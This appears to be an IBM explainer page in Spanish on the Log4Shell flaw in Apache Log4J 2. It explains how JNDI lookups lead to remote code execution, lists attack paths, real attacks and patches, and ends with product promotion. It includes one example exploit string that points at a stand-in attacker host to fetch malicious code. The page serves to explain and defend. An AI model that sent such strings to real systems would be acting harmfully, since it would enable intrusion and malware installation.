¿Qué es Log4Shell?
Explore la solución Log4Shell de IBM Suscríbase para recibir actualizaciones sobre temas de seguridad
Ilustración que muestra un collage de pictogramas de nubes, huellas dactilares y teléfonos móviles
¿Qué es Log4Shell?

Log4Shell, también conocida como la vulnerabilidad Log4J, es una vulnerabilidad remota de ejecución de código (RCE) en algunas versiones de la biblioteca Java Apache Log4J 2. Log4Shell permite a los hackers ejecutar prácticamente cualquier código que deseen en los sistemas afectados, lo que esencialmente les otorga control total de las aplicaciones y los dispositivos.

Log4Shell (identificador CVE de vulnerabilidades y exposiciones comunes: CVE-2021-44228) tiene una calificación de 10 en el sistema de puntuación de vulnerabilidades comunes (CVSS), lo que denota una vulnerabilidad crítica. Se considera una de las vulnerabilidades más peligrosas de la historia debido a su amplio alcance y consecuencias potencialmente devastadoras.  

Se calcula que el 10 % de todos los activos digitales (el enlace se encuentra fuera de ibm.com), incluidas aplicaciones web, servicios en la nube y endpoints físicos, como servidores, eran vulnerables a Log4Shell en el momento de su descubrimiento. Los hackers pueden usar Log4Shell para hacer casi cualquier cosa: robar datos (exfiltración de datos), instalar ransomware, capturar dispositivos para botnets y más. 

Los investigadores de seguridad en cloud descubrieron Log4Shell por primera vez en noviembre de 2021. Apache lanzó un parche en diciembre de 2021, y todas las versiones de Log4J de 2.17.1 en adelante están libres de Log4Shell y sus vulnerabilidades asociadas. Sin embargo, la Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA) informa que Log4Shell todavía se encuentra entre las vulnerabilidades más comúnmente explotadas (el enlace se encuentra fuera de ibm.com). Log4J está omnipresente en la cadena de suministro de software, por lo que encontrar y corregir cada instancia vulnerable puede llevar años. 

Mientras tanto, los equipos de seguridad pueden tomar otras medidas para reducir la exposición de la red, que se analizan con más detalle a continuación. 

Costo de una filtración de datos

Obtenga insights para gestionar mejor el riesgo de una filtración de datos con el último Informe del costo de una filtración de datos.

Contenido relacionado

Regístrese para obtener el Índice X-Force Threat Intelligence

Cómo funciona Log4Shell

Log4Shell afecta a Log4J, una biblioteca de registro de código abierto mantenida por Apache Software Foundation. Log4J es un registrador, un componente de software que registra información y eventos en un programa, como mensajes de error y entradas de usuario.  

Log4J no es un programa independiente, sino un paquete de código que los desarrolladores pueden conectar a sus aplicaciones Java en lugar de crear registradores desde cero. Las principales organizaciones, incluidas Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco y muchas otras, utilizan Log4J en su software y servicios. 

Log4Shell obtiene los resultados de cómo las versiones vulnerables de Log4J manejan dos funciones relacionadas: búsquedas de interfaz de directorio y nombres Java (JNDI), y sustituciones de búsqueda de mensajes. Cada característica por sí sola sería inofensiva, pero la interacción entre ellas da a los hackers un arma potente.

JNDI es una interfaz de programación de aplicaciones (API) que las aplicaciones Java utilizan para acceder a los recursos alojados en servidores externos. Una búsqueda JNDI es un comando que indica a la aplicación que vaya a un servidor y descargue un objeto específico, como una pieza de datos o un script. Las versiones anteriores de Log4J 2 ejecutan automáticamente cualquier código descargado de esta manera.  

La sustitución de búsqueda de mensajes permite a los usuarios y las aplicaciones enviar variables a Log4J dentro de los mensajes de registro mediante una sintaxis específica: ${prefix:name}. Cuando Log4J encuentra esta sintaxis, resuelve la variable e incluye el valor en el registro. Por ejemplo, si Log4J recibiera un mensaje que dijera:

${java:version}

averiguaría la versión actual de Java que se ejecuta en el dispositivo. En el registro, anotaría: "Java versión X.XX". 

Dicho de otra manera, Log4J no trata las sustituciones de búsqueda de mensajes como texto sin formato. Las trata como comandos y toma medidas basadas en lo que dicen. Los hackers pueden aprovechar este hecho para enviar comandos de búsqueda JNDI maliciosos a las aplicaciones que ejecutan versiones vulnerables de Log4J. Por ejemplo, un hacker podría enviar a Log4J una cadena como esta:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Cuando Log4J recibiera este mensaje, resolvería la variable comunicándose con el servidor en myevilwebsite.biz y descargando el objeto ubicado en /maliciouscode. Este proceso llevaría a Log4J a ejecutar cualquier código Java que el hacker hubiera escondido en esa ubicación, generalmente malware.  

Cómo los hackers explotan Log4Shell

Los hackers pueden utilizar protocolos estándar para activar Log4Shell, lo que facilita la detección de tráfico malicioso. La mayoría de los ataques Log4Shell utilizan uno de los siguientes protocolos: Protocolo ligero de acceso a directorios (LDAP); Invocación del método remoto (RMI); o Sistema de nombres de dominio (DNS).

LDAP

LDAP se utiliza para almacenar datos en una ubicación central donde diferentes aplicaciones y servicios pueden acceder a ellos. LDAP es el método más común que utilizan los hackers para explotar Log4Shell. Un ataque típico funciona de la siguiente manera:  

  • El hacker configura un servidor LDAP y almacena código malicioso en él.

  • El hacker envía una búsqueda JNDI a un programa utilizando Log4J.

  • La búsqueda JNDI hace que el programa se comunique con el servidor LDAP del atacante, descargue la carga útil y ejecute el código.
RMI



RMI es una característica de Java que permite que una aplicación en un dispositivo le diga a una aplicación en otro dispositivo que haga algo, como compartir información o realizar una función. Los ataques RMI funcionan más o menos de la misma manera que los ataques LDAP: los hackers configuran un servidor RMI, engañan al objetivo para que se conecte a su servidor y envían comandos maliciosos al objetivo. 

Los ataques RMI no son muy comunes, pero algunos hackers (el enlace reside fuera de ibm.com) están cambiando a RMI porque cada vez más organizaciones bloquean el tráfico LDAP por completo.  

DNS

Los hackers usan DNS para buscar objetivos. Envían una búsqueda JNDI a un programa, diciéndole que se conecte a un servidor DNS que los hackers controlan. Si el servidor DNS registra una conexión del programa, los hackers saben que el sistema es vulnerable a otros intentos de explotación de Log4Shell.  

Ejemplos de ataques a Log4Shell

Debido a que Log4Shell permite a los hackers ejecutar código arbitrario, los delincuentes cibernéticos pueden usar la falla para lanzar una variedad de ataques. Log4Shell también fue una vulnerabilidad de día cero en el momento de su descubrimiento, lo que significa que los hackers comenzaron a explotarla. 

Algunos de los primeros ataques de Log4Shell infectaron computadoras con criptojackers, un tipo de malware que utiliza un dispositivo para extraer criptomonedas sin el conocimiento del propietario. La botnet Mirai también ha utilizado la falla para hacerse cargo de los dispositivos. 

Varios ataques de ransomware han aprovechado Log4Shell. Las más destacadas incluyen la cepa Khonsari, que se propagó a través del videojuego Minecraft, y NightSky, que se dirigió a los sistemas que ejecutan VMware Horizon. 

Los agentes de acceso han utilizado Log4Shell para establecer puntos de apoyo en redes corporativas de alto valor, a menudo mediante la colocación secreta de troyanos de acceso remoto (RAT) en sistemas comprometidos. Los intermediarios de acceso venden estos puntos de acceso a afiliados de ransomware como servicio o a otros hackers en la dark web. 

Vulnerabilidades relacionadas con Log4Shell

A medida que Apache trabajaba en parchear Log4Shell después de su descubrimiento, salieron a la luz algunas fallas relacionadas. En última instancia, se necesitaron cuatro parches para reparar completamente Log4Shell y todas las vulnerabilidades asociadas.

CVE-2021-45046 

El primer parche que lanzó Apache, la versión 2.15.0 de Log4J, cerró gran parte de la vulnerabilidad de Log4Shell. Sin embargo, los hackers podían seguir enviando búsquedas maliciosas de JNDI a sistemas que utilizaban ciertas configuraciones no predeterminadas. Apache solucionó esta falla con la versión 2.16.0 de Log4J.

CVE-2021-45105

La versión 2.16.0 también resultó ser incompleta. Los piratas informáticos podrían utilizar búsquedas de mensajes maliciosos para enviar sistemas vulnerables a recursiones infinitas, lo que provocaría ataques de denegación de servicio. Apache lanzó la versión 2.17 para corregir esta falla.

CVE-2021-44832

Menos grave que las demás, esta falla permitió a los hackers ejecutar el código de forma remota, pero primero necesitaban obtener permisos elevados y configuraciones de registro de cambios. Apache abordó esto con un cuarto parche, Log4J versión 2.17.1.

Mitigación y reparación de Log4Shell  

Los investigadores de seguridad recomiendan encarecidamente que las organizaciones prioricen la actualización de todas las instancias de Log4J en sus redes a la versión más reciente, o al menos a la versión 2.17.1. El parcheo es la única manera de remediar Log4Shell por completo. 

Sin embargo, es posible que los equipos de seguridad no puedan parchear todas las instancias de Log4J en sus redes de inmediato. Las instalaciones vulnerables de Log4J a menudo están presentes como dependencias indirectas, lo que significa que los activos de la compañía no usan Log4J, sino que dependen de otras aplicaciones y servicios que sí lo hacen. Según Google (el enlace reside fuera de ibm.com), las instancias de Log4J más vulnerables tienen más de un nivel de profundidad, y algunas tienen hasta nueve niveles de profundidad.  

Cuando Log4J es una dependencia indirecta, resulta mucho más difícil para los equipos de seguridad localizarla. Cuando la encuentran, es posible que no puedan parchearla, dependiendo de dónde exista. Si Log4J está oculta en un paquete de software utilizado por una aplicación de terceros, el equipo de seguridad necesitará que el proveedor actualice Log4J por su parte.  

Incluso cuando Log4J está presente como una dependencia directa, puede ser difícil de detectar. El proceso de desarrollo de software es muy complejo hoy en día, ya que depende de grandes equipos y de una gran variedad de código preexistente. Es posible que los desarrolladores no se den cuenta de que sus aplicaciones contienen versiones vulnerables de Log4J, ya que esas instancias pueden estar dentro de paquetes de software preescritos que los desarrolladores no codificaron ellos mismos.

A partir de diciembre de 2022, el 25 % de las descargas de Log4J (el enlace reside fuera de ibm.com) siguen siendo vulnerables a Log4Shell, lo que significa que las personas usan versiones obsoletas de Log4J para crear nuevos activos. 

Log4J se utiliza tan ampliamente en la cadena de suministro de software que encontrar y reparar cada instancia vulnerable llevará al menos una década, según el Departamento de Seguridad Nacional de EE. UU. (el enlace se encuentra fuera de ibm.com).

Mientras tanto, los equipos de seguridad pueden tomar otras medidas para reducir la exposición de la red.

Eliminar búsquedas de mensajes de aplicaciones vulnerables  

Los equipos de seguridad pueden desactivar las sustituciones de búsqueda de mensajes en Log4J, por lo que Log4J trata los mensajes de los hackers como texto sin formato en lugar de comandos para ejecutar.

Hay dos maneras de hacerlo: cambiando el "Log4J2.formatMsgNoLookups" propiedad del sistema a "verdadero" o establecer el valor de la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en "verdadero". 

Tenga en cuenta que las versiones sin parches de Log4J aún sufren de CVE-2021-45046, lo que permite a los hackers enviar búsquedas maliciosas de JNDI cuando se utilizan ciertas configuraciones no predeterminadas. Prohibir las búsquedas de mensajes no es, por lo tanto, infalible.  

Eliminar la clase JNDIlookup de las aplicaciones vulnerables  

Las aplicaciones Java utilizan clases para definir lo que puede hacer un programa. En Log4J, la clase "JNDIlookup" gobierna las búsquedas JNDI. Si esta clase se elimina del directorio de clases de Log4J, también conocido como la ruta de clases, ya no se pueden realizar búsquedas JNDI.  

La eliminación de búsquedas JNDI evita que los hackers envíen comandos maliciosos, pero también puede afectar otras funciones de Log4J y las aplicaciones que lo utilizan. También puede ser difícil asegurarse de que se eliminen todas las instancias de la clase.   

Bloqueo de tráfico saliente malicioso

Las organizaciones pueden utilizar cortafuegos y otras herramientas de ciberseguridad para bloquear el tráfico desde activos vulnerables conectados a internet hasta servidores controlados por atacantes. Por ejemplo, los equipos de seguridad podrían establecer reglas para no permitir todas las conexiones que utilicen protocolos LDAP o RMI. 

Bloquear el tráfico saliente en lugar del tráfico entrante ayuda a evitar falsos positivos, ya que los proveedores e investigadores de seguridad pueden escanear activos para encontrar instancias persistentes y sin parches.  

La desventaja es que los firewalls pueden bloquear o frustrar las conexiones salientes necesarias, especialmente si una organización utiliza LDAP o RMI por razones legítimas. 

Soluciones relacionadas
IBM Security QRadar Suite

Supere los ataques con una suite de seguridad conectada y modernizada. La cartera de QRadar está integrada con IA de nivel empresarial y ofrece productos integrados para seguridad de endpoint, administración de registros, SIEM y SOAR, todo con una interfaz de usuario común, información compartida y flujos de trabajo conectados.

    Conozca QRadar Suite

    Soluciones de seguridad y protección de datos

    Implementadas localmente o en una nube híbrida, las soluciones de seguridad de datos de IBM le ayudan a obtener mayor visibilidad e información estratégica para investigar y remediar las amenazas cibernéticas, aplicar controles en tiempo real y administrar el cumplimiento regulatorio.

      Conozca las soluciones de seguridad y protección de datos

      Equipo de respuesta a incidentes X-Force

      La búsqueda proactiva de amenazas, el monitoreo continuo y una investigación profunda de amenazas son solo algunas de las prioridades que enfrentan un departamento de TI ya ocupado. Tener un equipo de respuesta a incidentes confiable en espera puede reducir el tiempo de respuesta, minimizar el impacto de un ciberataque y ayudarlo a recuperarse más rápido.

        Explore la respuesta ante incidentes de X-Force
        Recursos ¿Qué es el hacking?

        El hacking (también llamado piratería cibernética) es el uso de medios no convencionales o ilícitos para obtener acceso no autorizado a un dispositivo digital, sistema informático o red informática.

        ¿Qué es el malware?

        El software malicioso, o malware, es cualquier programa diseñado para dañar los sistemas de computación o a sus usuarios, como el ransomware, los troyanos y el spyware.

        Dé el siguiente paso

        IBM Security QRadar EDR, anteriormente ReaQta, soluciona las amenazas de puntos finales conocidas y desconocidas casi en tiempo real con una automatización inteligente fácil de usar que requiere poca o ninguna interacción humana. Tome decisiones rápidas e informadas con guiones gráficos de visualización de ataques. Utilice la gestión automatizada de alertas para centrarse en las amenazas importantes. Y salvaguarde la continuidad del negocio con capacidades avanzadas de IA de aprendizaje continuo.

        Explore QRadar EDR Reserve una demostración en vivo